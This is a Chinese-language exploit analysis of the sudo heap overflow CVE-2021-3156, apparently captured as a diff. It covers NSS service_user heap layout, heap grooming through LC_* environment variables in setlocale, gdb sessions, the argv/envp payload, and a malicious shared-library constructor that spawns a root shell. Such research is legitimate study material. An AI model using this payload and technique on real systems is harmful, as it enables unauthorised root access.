+// 定义service_user结构体typedef struct service_user{ struct service_user *next;// 指向下一个条目的指针,用于构建链表结构 lookup_actions actions[5];// 根据结果采取的操作,以数组形式存储不同情况对应的操作 service_library *library;// 指向底层库对象的链接 void *known;// 已知函数的集合(具体用途可能根据上下文确定,这里只是定义结构体成员) char name[0];// 服务名称,这里是柔性数组,长度可变,可存放如`files`、`dns`、`nis`等服务名称} service_user;// 定义name_database_entry结构体typedef struct name_database_entry{ struct name_database_entry *next;// 指向下一个条目的指针,用于构建链表结构 service_user *service;// 要使用的服务列表,指向service_user结构体类型 char name[0];// 数据库名称,同样是柔性数组,长度根据实际情况确定} name_database_entry;// 定义name_database结构体typedef struct name_database{ name_database_entry *entry;// 所有已知数据库的列表,指向name_database_entry结构体类型 service_library *library;// 带有服务实现的库列表,指向service_library结构体类型} name_database;
+```
+
+
+
+service_user
+表示一个具体的服务配置项,用于定义如何查找和使用某个服务。
+
+name_database_entry
+表示一个数据库的配置项,关联数据库名称到具体的服务链。
+
+name_database
+顶层结构,管理所有数据库及其关联的服务和库。
+
+
+下面是具体的结构图:
+
+
+
+
+
+## 开始解析NSS相关结构体的申请顺序和布局
+
+第一个管理整个NSS服务的结构体肯定是第一个被申请的!static name_database *service_table;
+chunk申请序号为1!
+
+
+```
+static name_database *service_table;int__nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user **ni){ ··· ··· /* Are we initialized yet? */ if (service_table == NULL) /* Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ···}
+```
+
+
+
+第一次调用__nss_database_lookup
+的时候,service_table == NULL
+整个条件必然为true,从而触发service_table结构体的初始化申请(具体申请在nss_parse_file)!
+
+
+下面的函数会继续初始化,主要是将name_database_entry *this;
+结构体申请堆块,由于该结构体存在多个堆块先不进行编号!
+
+
+```
+static name_database *nss_parse_file (constchar *fname){... name_database *result; name_database_entry *last;... //调试发现直接从topchunk分割出一个0x20的堆块 result = (name_database *) malloc (sizeof (name_database)); //为name_database *service_table申请堆块... do { name_database_entry *this;... this = nss_getline (line); if (this != NULL) { if (last != NULL) last->next = this; else result->entry = this; last = this; } } while (!feof_unlocked (fp));...}
+```
+
+
+
+这部分函数会根据配置文件的具体内容和请求规则申请合适的堆块来存放所需数据,由于sudo是进行密码验证的提权操作,所以他会读取配置文件中密码相关的规则来申请和初始化相关数据结构。我调试环境的/etc/nsswitch.conf
+的配置内容是:
+
+
+
+
+
+
+
+
+所以这个while (!feof_unlocked (fp));
+循环会循环读取密码相关规则的文本来进行初始化,然后调用nss_getline来初始化后续结构体。
+
+
+```
+/** * @brief 解析配置文件中的一行,生成一个 name_database_entry 结构体 * @param line 配置文件中的一行字符串(会被修改) * @return 成功返回 name_database_entry 指针,失败返回 NULL */static name_database_entry *nss_getline(char *line) { constchar *name; // 临时保存数据库名称的指针 name_database_entry *result; // 最终返回的数据库条目结构体... /* 分配内存: * 1. 基础结构体大小 sizeof(name_database_entry) * 2. 加上名称的长度(柔性数组name的实际空间) */ result = (name_database_entry *)malloc(sizeof(name_database_entry) + len);... result->service = nss_parse_service_list(line);/* 解析服务列表(冒号后面的部分):这个函数会返回一个service_user链表 */ result->next = NULL; return result; // 返回创建好的数据库条目}
+```
+
+
+
+这里会为具体的name_database_entry *this;
+结构体申请堆块!继续往下就是我们要劫持的结构体service_user service
+申请的地方了。
+
+
+```
+/** * @brief 解析服务列表字符串,生成service_user链表 * @param line 包含服务列表的字符串(格式参见下方说明) * @return 成功返回service_user链表头指针,失败返回NULL */static service_user *nss_parse_service_list(constchar *line) { // result: 最终返回的链表头指针 // nextp: 指向当前链表最后一个节点的next指针的指针(用于高效追加节点) service_user *result = NULL, **nextp = &result; // 循环解析每个服务配置 while (1) { ... /* 分配新service_user结构体内存:*/ new_service = (service_user *)malloc(sizeof(service_user) + (line - name + 1)); ... new_service->actions[2 + NSS_STATUS_TRYAGAIN] = NSS_ACTION_CONTINUE /* 初始化其他字段 */ new_service->library = NULL; // 暂时未关联库 new_service->known = NULL; // 已知函数集合初始为空 new_service->next = NULL; // 下一个节点指针初始为空 ... // 这里应该有更多解析逻辑(如解析动作配置等) // 将新节点追加到链表末尾 *nextp = new_service; nextp = &new_service->next; }...}
+```
+
+
+
+这里就是根据配置文件初始化我们目标结构体service_user
+的地方了,将结构体的每个字段初始化!
+
+
+总结下来这里的堆块申请顺序就是基于配置文件/etc/nsswitch.conf
+ 的内容一步步解析并且存储堆块,可以通过静态分析的到底的信息是这些堆块申请的非常紧凑和命令,很容易调试出具体布局!
+
+## 动态调试分析nss服务堆块申请规律
+
+开始调试:
+
+
+```
+gdb exp catch execset follow-exec-mode new 调试exp 的时候捕获子进程runb main #这个是在exec执行的sudoedit中下main函数断点c #成功开始调试sudo,sudoedit其实软连接直接指向sudo
+```
+
+
+
+开始调试堆块布局
+
+
+```
+directory /root/glibc-2.27/directory /root/glibc-2.27/nss/directory /root/glibc-2.27/elf/directory /root/glibc-2.27/locale/b nss_parse_service_listb nss_parse_fileb nss_getlineb malloc
+```
+
+
+
+
+
+
+
+
+
+查看一下nss的调用栈,发现所有的0x40大小的堆块都已经被使用了,动态调试发现每个service_user
+结构体申请的大小都是0x40!
+
+
+整个堆块的申请顺序是由第一次搜索的时候发现全局入口service_table
+ 为空,则进行初始化,根据 /etc/nsswitch.conf
+ 文件记录内容进行初始化,最后的数据结构如下所示,通过动态调试得出整个链表的结构:
+
+
+
+
+
+#
+
+**7**
+
+**解析setlocale能够进行堆布局原理**
+#
+
+布局主要由下面的逻辑实现的,向环境变量注入特定的LC_*
+环境变量控制堆块的申请:
+
+
+```
+char *setlocale (int category, constchar *locale){... /* 处理LC_ALL类别(设置所有类别) ,sudo调用setlocale(LC_ALL, '');进入的分支*/ if (category == LC_ALL) {... /* 为每个类别加载新数据 */ while (category-- > 0) if (category != LC_ALL){ newdata[category] = _nl_find_locale (locale_path, locale_path_len, //_nl_find_locale核心,根据环境变量组合成字符串,如果环境变量符合格式就返回非NULL category, &newnames[category]); if (newdata[category] == NULL){... break; //如果环境变量有问题newdata[category]的值为NULL,就会跳出循环 } /* 标记数据为不可删除 */ if (newdata[category]->usage_count != UNDELETABLE) newdata[category]->usage_count = UNDELETABLE; /* 复制区域设置名称 */ if (newnames[category] != _nl_C_name){ //如果该环境变量的值未被设置的话直接就是将变量的值设置为C,会进入true分支 if (strcmp (newnames[category], _nl_global_locale.__names[category]) == 0) newnames[category] = _nl_global_locale.__names[category]; else { newnames[category] = __strdup (newnames[category]);//没有问题的环境变量就会从这里创建一个目标堆块 if (newnames[category] == NULL) break; } } } /* 创建新的复合名称 */ composite = (category >= 0 //这里如果composite为NULL的话就可以让程序进入free分支,把使用环境变量构造的堆块,按顺序进行free掉! ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { ...//更新LC_ALL环境变量的值 } else /* 失败时释放资源 */ for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]); //批量按顺序释放自己构造的指定堆块...}libc_hidden_def (setlocale)
+```
+
+
+
+核心要点出现在_nl_find_locale这个函数上,他会寻找程序中符合LC_*
+名称的环境变量,并获取他们具体的值进行堆块申请并存储起来__strdup
+,最后将存储起来的环境变量的值都拼接到LC_ALL
+变量中,也就是代码中composite != NULL
+这个条件为true的时候执行的操作(代码省略了)!本来正常的操作是没有任何堆块是可控的,但是_nl_find_locale的内部有个函数会检测一系列环境变量LC_*
+的值,判断他的值是否符合一定的规则,如果有一个不符合就将将直接符合的并且申请的堆块都一起释放掉,也就是代码中的free ((char *) newnames[category]);
+,也就是这个操作可以保证向堆块回收站中放置多个指定大小的空闲堆块,从而达到控制任意堆块顺序结构的引子!
+
+
+直接调试举例:
+
+
+
+
+
+
+
+
+分析一下这两个环境变量:
+
+
+```
+LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #符合规则,根据A的字符串长度申请堆块LC_NAME=xxxxxxxxxxxxxxxxxxxxx #不符合规则,导致前面合法的内容的堆块被批量free
+```
+
+
+
+毫无疑问如果需要指定大小的堆块或者数量放置到bins中,只要适当修改环境变量的值即可实现!
+
+## 源码解析setlocale能够控制堆块的核心原理
+
+探究如何实现构造指定顺序的堆块结构:
+
+
+```
+char *setlocale (int category, constchar *locale){... /* 处理LC_ALL类别(设置所有类别) ,sudo调用setlocale(LC_ALL, '');进入的分支*/ if (category == LC_ALL) {... /* 为每个类别加载新数据 */ while (category-- > 0) if (category != LC_ALL){ newdata[category] = _nl_find_locale (locale_path, locale_path_len, //_nl_find_locale核心,根据环境变量组合成字符串,如果环境变量符合格式就返回非NULL category, &newnames[category]); if (newdata[category] == NULL){... break; //如果环境变量有问题newdata[category]的值为NULL,就会跳出循环 } /* 标记数据为不可删除 */ if (newdata[category]->usage_count != UNDELETABLE) newdata[category]->usage_count = UNDELETABLE; /* 复制区域设置名称 */ if (newnames[category] != _nl_C_name){ //如果该环境变量的值未被设置的话直接就是将变量的值设置为C,会进入true分支 if (strcmp (newnames[category], _nl_global_locale.__names[category]) == 0) newnames[category] = _nl_global_locale.__names[category]; else { newnames[category] = __strdup (newnames[category]);//没有问题的环境变量就会从这里创建一个目标堆块... /* 创建新的复合名称 */ composite = (category >= 0 //这里如果composite为NULL的话就可以让程序进入free分支,把使用环境变量构造的堆块,按顺序进行free掉! ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { ...//更新LC_ALL环境变量的值 } else /* 失败时释放资源 */ for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]); //批量按顺序释放自己构造的指定堆块...}libc_hidden_def (setlocale)
+```
+
+
+
+根据sudo源码可以知道调用函数所传入的参数是setlocale(LC_ALL, '');
+所以这个函数会通过环境变量中的值来进行本地化设置(包括语言、数字格式、货币格式、时间格式等),之后会进入这里setlocale->_nl_find_locale
+。
+
+
+进入_nl_find_locale后,LC_*
+环境变量被获取并且进行解析,我们可以解析一下这个函数:
+
+
+```
+/* 查找并加载指定区域设置数据的函数 */struct __locale_data *_nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char **name){... /* 如果传入的区域设置名为空字符串 */ if (cloc_name[0] == '\0') { /* 用户通过环境变量决定使用哪个区域设置 */ cloc_name = getenv ("LC_ALL"); // 首先检查LC_ALL环境变量,根据环境变量生效的顺序进行获取参数 if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); // 检查特定类别的环境变量 if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); // 检查LANG环境变量 if (!name_present (cloc_name)) cloc_name = _nl_C_name; // 最后使用默认的C区域设置 }... if (locale_file == NULL) { //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) /* This means we are out of core. */ return NULL; }
+```
+
+
+
+从代码中可以看出,获取每个类别的区域名称的优先级是 LC_ALL、LC_<类别名称>、LANG 环境变量。如果没有设置,则使用特殊的区域名称“C”。如果区域名称是“C”,_nl_find_locale
+函数将立即返回,而不会触及堆。
+
+
+下面是这些环境变量的值,会被一一获取:
+
+
+```
+#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12
+```
+
+
+
+cloc_name = getenv (_nl_category_names.str+_nl_category_name_idxs[category]);
+这段代码会获取这些环境变量的值!
+
+
+继续往后续跟踪_nl_make_l10nflist函数可以发现
+
+
+```
+struct loaded_l10nfile *_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, const char *dirlist, size_t dirlist_len, int mask, const char *language, const char *territory, const char *codeset, const char *normalized_codeset, const char *modifier, const char *filename, int do_allocate){... /* Allocate room for the full file name. */ //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk abs_filename = (char *) malloc (dirlist_len + strlen (language) + ((mask & XPG_TERRITORY) != 0 ? strlen (territory) + 1 : 0) + ((mask & XPG_CODESET) != 0 ? strlen (codeset) + 1 : 0) + ((mask & XPG_NORM_CODESET) != 0 ? strlen (normalized_codeset) + 1 : 0) + ((mask & XPG_MODIFIER) != 0 ? strlen (modifier) + 1 : 0) + 1 + strlen (filename) + 1);... if ((mask & XPG_TERRITORY) != 0) { *cp++ = '_'; cp = stpcpy (cp, territory); } if ((mask & XPG_CODESET) != 0) { *cp++ = '.'; cp = stpcpy (cp, codeset); } if ((mask & XPG_NORM_CODESET) != 0) { *cp++ = '.'; cp = stpcpy (cp, normalized_codeset); } if ((mask & XPG_MODIFIER) != 0) { *cp++ = '@'; cp = stpcpy (cp, modifier); } *cp++ = '/'; stpcpy (cp, filename);... retval = (struct loaded_l10nfile *) malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len) * (1 << pop (mask)) * sizeof (struct loaded_l10nfile *)));...}
+```
+
+
+
+这里的代码就会检测环境变量是否符合格式如果不符合就直接返回NULL!
+
+
+环境变量会基于这个规则被分解:
+
+
+```
+ /* XPG语法的区域设置名最多可包含四个部分: language[_territory[.codeset]][@modifier] 除了第一部分,其他部分都可以省略。如果找不到完全匹配的区域设置, 会尝试查找更通用的版本。各部分将按以下顺序被剥离: (1) codeset (2) normalized codeset (3) territory (4) modifier */ mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);
+```
+
+
+
+注释非常清晰。返回值“mask”是标志,用于指示给定区域字段(territory,codeset..)的值是否存在。
+
+
+```
+#一个符合规则的环境变量,举例LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+```
+
+
+
+更详细的规则可以区看相关解析:[漏洞分析] CVE-2021-3156 sudo提权分析及exp调试修改-CSDN博客
+
+## 动态调试setlocale控制堆结构规则
+
+主要是结合源码和动态调试,测试出setlocale控制堆结构规则,这样就可以更好的将setlocale控制堆块结构手法拓展到其他漏洞!
+
+
+```
+gdb exp catch execset follow-exec-mode new 调试exp 的时候捕获子进程runb main #这个是在exec执行的sudoedit中下main函数断点c #成功开始调试sudo,sudoedit其实软连接直接指向sudo
+```
+
+
+
+调试这两个函数可以发现
+
+
+```
+b setlocaleb _nl_find_locale
+```
+
+
+
+在第一次进入_nl_find_locale函数的时候,就会通过genenv来获取LC_*
+环境变量的具体值,
+
+
+
+
+
+
+
+下面开始调试_nl_make_l10nflist函数的内部,可以发现他是如何构造一个指定大小的堆块!
+
+
+
+
+
+
+```
+envp[134]: LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[135]: LC_MEASUREMENT=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[136]: LC_TELEPHONE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[137]: LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[138]: LC_NAME=xxxxxxxxxxxxxxxxxxxxx
+```
+
+
+
+环境变量的值是:C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+
+所以申请出来的堆块大小是:
+
+
+```
+Allocated chunk | PREV_INUSEAddr: 0x5614ccbdb4a0Size: 0x61
+```
+
+
+
+
+
+
+
+手动注入指定的环境变量,构造出3个0x40和一个0xa0的堆块到tcachebin中!
+
+
+```
+set args -s \\ 111111111111111111111111111111111111111111111111111111111111111111111111111111111b setlocale@pltshow environmentset environment LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset environment LC_MEASUREMENT=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset environment LC_TELEPHONE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset environment LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset environment LC_NAME=xxxxxxxxxxxxxxxxxxxxxb new_composite_name
+```
+
+
+
+手动注入环境变量,发现注入5个环境变量才会将目标堆块释放!
+
+
+
+
+
+
+
+
+发现当环境变量中存在LC_*
+的时候setlocale函数会创建堆块和释放堆块,不然不会进行堆内存操作!
+
+
+只有当存在5个环境变量的时候,bin中才可以看见4个特意构造大小的堆块!
+
+
+需要构造一个不符合规则的环境变量才可以成功将其他符合规则的堆块进行按顺序free!
+
+
+```
+#不符合规则的环境变量set environment LC_NAME=xxxxxxxxxxxxxxxxxxxxx
+```
+
+
+
+查看一下原因:
+
+
+```
+gdb sudoeditset args -s \\ 111111111111111111111111111111111111111111111111111111111111111111111111111111111b setlocale@pltrunb mainset environment LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdirectory /root/glibc-2.27/locale/b /root/glibc-2.27/locale/setlocale.c:369
+```
+
+
+
+关键核心导致堆块未被free的原因:
+
+
+```
+ /* 创建新的复合名称 */ composite = (category >= 0 ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { /* 更新全局区域设置 */ for (category = 0; category < __LC_LAST; ++category) if (category != LC_ALL) { setdata (category, newdata[category]); setname (category, newnames[category]); } setname (LC_ALL, composite); /* 通知消息目录函数 */ ++_nl_msg_cat_cntr; } else /* 失败时释放资源 */ for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]);
+```
+
+
+
+在所有类别名称都经过 strdup()复制并加载数据后,LC_ALL 在 new_composite_name 函数中被创建。如果所有 LC 名称都相同,其值将仅从第一个中选择(与设置 LC_ALL 环境变量相同)。如果所有 LC 名称都不相同,其值将结合所有 LC 名称,例如“LC_CTYPE=C;LC_NUMERIC=C.UTF-8;…”。
+
+
+new_composite_name函数会查看所有的宏的值:newnames【1~12】
+
+
+
+
+
+
+
+
+1~12对应的环境变量:
+
+
+```
+#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12
+```
+
+
+
+发现这个函数会把所有的环境变量的值拼接起来:
+
+
+```
+composite = (category >= 0? NULL : new_composite_name (LC_ALL, newnames));
+```
+
+
+
+
+
+
+
+需要让堆块分配就得出现异常,让__LC_NAME
+的规则不符合要求,就会导致抛弃所有的堆块,所以后续就会调用free,做到释放指定大小的堆块。
+
+
+在_nl_find_locale
+函数中,会首先调用_nl_explode_name
+函数根据环境变量的值堆mask 进行赋值(就如同我在代码中的注释中说的),主要看有没有国家、语言、用户自定义后缀这三项,如果有就会设置对应的maks,其中语言会设置两个,总共四个。然后调用_nl_make_l0nflist 函数会直接导致_nl_find_locale
+返回空,触发上面的 setlocale 之中的循环break (很重要)。
+
+## 总结setlocale向tcachebins放入堆块的规则
+
+当setlocale输入的参数是(LC_ALL, '')的时候:
+
+
+如何控制堆块申请的大小:
+
+C.UTF-8@len
+环境变量的长度来的,如果len为33,则会申请malloc(33+8+1)-》malloc(42)返回一个0x40的chunk!
+
+
+同理len为137,则会申请malloc(129+8+1)-》malloc(0x8a)返回一个0xa0的chunk!
+
+
+如何控制堆块释放的顺序:
+
+
+```
+#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12
+```
+
+
+
+每个环境变量的遍历顺序就是每个堆块的释放顺序,第一个被查找的环境遍历是__LC_IDENTIFICATION
+!
+
+
+如何确保构造的环境变量会被释放到tcachebin中?
+
+
+需要构造出一个异常的环境变量,且要确保异常环境变量之前的环境变量是符合规则的,不然就无法释放指定堆块到tcachebin中!
+
+
+
+**8**
+
+**基于已有的思路如造可以利用的POC**
+
+
+我们的提权思路前面已经很清晰了就是覆盖掉NSS的service_user 结构体的ni->library->lib_handle
+指针为0即可!因此我们需要需要构造一个堆环境将目标结构体堆块被分配到发生溢出的堆块下方,从而漏洞使用溢出漏洞进行提权!
+
+
+```
+main()|- _GI_setlocale(LC_ALL, '') ...|- get_user_info() // 获取用户信息| |- getpwuid // 通过UID查询用户信息(如用户名、主目录)| | |- parse /etc/nsswitch.conf // 解析NSS配置,创建 `service_user` 结构体(用于后续身份验证)....|- policy_check() // 执行权限检查| |- sudoers_policy_main() // 主策略逻辑(见下方详细流程)| | |- set_cmd() // 设置待执行的命令参数(此处存在已知漏洞) // 该函数可能存在命令注入漏洞,攻击者可通过恶意参数绕过权限控制 |- sudo_file_lookup() // 从已解析的 `/etc/sudoers` 中查询规则 | |-nss * // 可能调用NSS(Name Service Switch)模块 | | |-nss_load_library() // 动态加载NSS库(如LDAP/SSSD集成)
+```
+
+
+
+从新来梳理一下整个程序在奔溃前的流程图,筛选出NSS服务的加载流程和service_user 结构体初始化流程!
+
+
+发现按正常逻辑来说get_user_info函数所创建的NSS初始化结构体service_user 所在的堆块一定是在漏洞堆块的上方,根本无法实现溢出从而实现覆盖!
+
+
+但是前文分析出来的setlocale控制堆结构规则可以很好的被利用,且通过动态调试发现从_GI_setlocale(LC_ALL, '') -》get_user_info()
+并没有向tcachebin中释放新的堆块。
+
+
+并且当使用_GI_setlocale(LC_ALL, '')
+向tcachebin放入0x40和0xa0大小的堆块的时候,在来到get_user_info()函数之后,构造出来的空闲堆块依旧在tcachebin中并未被使用,所以只需要构造合适的空闲堆块,就可以将vuln chunk(可以溢出的堆块)和目标堆块 target chunk(存放service_user结构体的有三个)放置为可以溢出覆盖的堆关系,从而实现从vuln chunk溢出覆盖 target chunk达到提权的目的!
+
+
+根据我们之前动态调试获得的堆获取顺序,并且发现我们的目标堆块有三个(有三个service_user结构体)。
+
+
+
+
+
+
+
+
+上图的编号是申请堆块的顺序,且name_database堆块大小为0x20;name_database_entry堆块大小为0x20;service_user堆块大小为0x40,所以我只需要使用setlocale(LC_ALL, '')
+构造出3个0x40的空闲堆块,让目标chunk(target chunk) 位于溢出堆块(vuln chunk)的下方!
+
+
+且将chunk 3 5 7 这三个堆块申请到堆块chunk 1 2 4 6 的上方,不然进行溢出操作的时候破坏了有用堆块的内存同样会导致利用失败!
+
+
+还需要考虑一点就是将vuln chunk分配到chunk 3 5 7这三个chunk之间,只有这样才可以完成溢出操作,且不破坏重要结构体!
+
+
+下面是vlun chunk可以被放置的位置有A,B,C三个选项,我选择构造vuln chunk在C位置!
+
+
+
+
+
+
+
+
+接下来就是考虑如何确保在setlocale构造的空闲堆块,不在抵达漏洞函数申请堆块前被消耗!解决方法就是手动盲测各个大小的堆块,看看多大的堆块不会被提前消耗,发现0xa0大小的堆块最合适!
+
+
+也可以分析heap.log文件,经过动态调试和分析发现,确实0xa0大小的堆块最合适:
+
+
+```
+ub20@Brinmon:~/FuzzCVEInit/sudo_fuzz/NWEPOC$ python3 /home/ub20/FuzzCVEInit/sudo_fuzz/NWEPOC/chunk.py finial.logFunction Count Min Max Avg Unknown Opssudo_conf_read_v1 358 32 4112 127.6 2 malloc:356,realloc:2 Size distribution: 32 bytes : 76 times 64 bytes : 24 times 80 bytes : 2 times 128 bytes : 250 times 528 bytes : 2 times 4112 bytes : 2 timesget_user_info 101 32 4112 198.5 2 realloc:2,malloc:97,calloc:2 Size distribution: 32 bytes : 20 times 48 bytes : 24 times 64 bytes : 4 times 80 bytes : 19 times 96 bytes : 1 times 128 bytes : 24 times 528 bytes : 3 times 1040 bytes : 1 times 2064 bytes : 1 times 4112 bytes : 2 times
+```
+
+
+
+最后成功构造完成堆结构布局后,通过vuln chunk溢出掉chunk 7 的service_user的内容从而达到提权的目的!
+
+## 开始基于POC进行调试分析
+
+详细的POC就不展示了源码可以直接去下载:CVE-2021-3156/exp at main · chenaotian/CVE-2021-3156
+
+
+伪造的so库,这里直接用attribute宏编译的函数会在二进制文件被加载的时候自动执行,也就是通过构造函数进行提权!
+
+
+```
+//libc.c#include #include #include #include staticvoid __attribute__ ((constructor)) _init(void);staticvoid _init(void) { printf("[+] bl1ng bl1ng! We got it!\n");#ifndef BRUTE setuid(0); seteuid(0); setgid(0); setegid(0); staticchar *a_argv[] = { "sh", NULL }; staticchar *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execv("/bin/sh", a_argv);#endif}
+```
+
+
+
+接下来就是分析输入的payload进行动态调试了!
+
+
+```
+ub20@Brinmon:~/FuzzCVEInit/sudo_fuzz$ ./poc_value x=11, y=121, len=1529, envoff=133------ argv ------argv[0]: sudoeditargv[1]: -sargv[2]: \... #都是\argv[12]: \argv[13]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAargv[14]: \------ envp ------envp[0]: \... #都是\envp[132]: \envp[133]: X/test envp[134]: LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[135]: LC_MEASUREMENT=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[136]: LC_TELEPHONE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[137]: LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[138]: LC_NAME=xxxxxxxxxxxxxxxxxxxxx
+```
+
+
+
+开始解析payload,我们由于需要申请一个0xa0大小的堆块,由于argv和envp的存放是通过\x00来隔离的,当再argv结尾添加'\
+'后,由于该漏洞的拷贝逻辑会将后面的环境变量也作为拷贝的内容进行拷贝实现堆溢出,拷贝到“X/test”接着,这个X/test正好可以覆盖调service_user->name字段为“X/test” 从而可以加载自定义的恶意so文件从而实现提权!
+
+
+介绍一下环境变量的作用:
+
+
+```
+envp[134]: LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #构造一个0x40的chunkenvp[135]: LC_MEASUREMENT=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #构造一个0x40的chunkenvp[136]: LC_TELEPHONE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #构造一个0xa0的chunkenvp[137]: LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #构造一个0x40的chunkenvp[138]: LC_NAME=xxxxxxxxxxxxxxxxxxxxx #构造一个错误内容的环境确保前面分配的堆块会被free
+```
+
+
+
+梳理一下整个POC的利用过程:
+
+
+使用setlocale构造出4个空闲的chunkA,chunkB,chunkC,chunkD,当get_user_info()初始化service_user结构体的时候会将,chunkA,chunkB,chunkD前面三个空闲的chunk申请出来,留下chunkC 不被申请,然后运行到漏洞函数,通过构造命令行参数的长度,成功将chunkC堆块申请出来,从而使的可以出堆块位于可覆盖提权的堆块上方,最后利用程序的堆溢出漏洞覆盖service_user->library->lib_handle字段为NULL,成功实现加载恶意so文件实现提权!
+
+
+```
+main()|- setlocale(LC_ALL, '') //构造特定空闲堆块 ...|- get_user_info() //构造的堆块被用来存储重要结构体| |- nss_load_library() ....|- set_cmd() //再次申请出构造的堆块,并且使用一处漏洞成功覆盖堆上的重要结构体....|- sudo_file_lookup() | |- nss_load_library() //由于结构体被修改,导致加载恶意so文件,实现提权!
+```
+
+
+
+下面使我们构造的命令行参数和环境变量,他们的存储是在一片连续的空间通过\x00隔开
+
+
+
+
+
+
+
+在第一次进入_nl_find_locale函数的时候,就会通过genenv来获取LC_*
+环境变量的具体值,查看环境变量是否起效。
+
+
+
+
+
+
+
+下面开始调试_nl_make_l10nflist函数的内部,可以发现他是如何构造一个指定大小的堆块!
+
+
+
+
+
+
+```
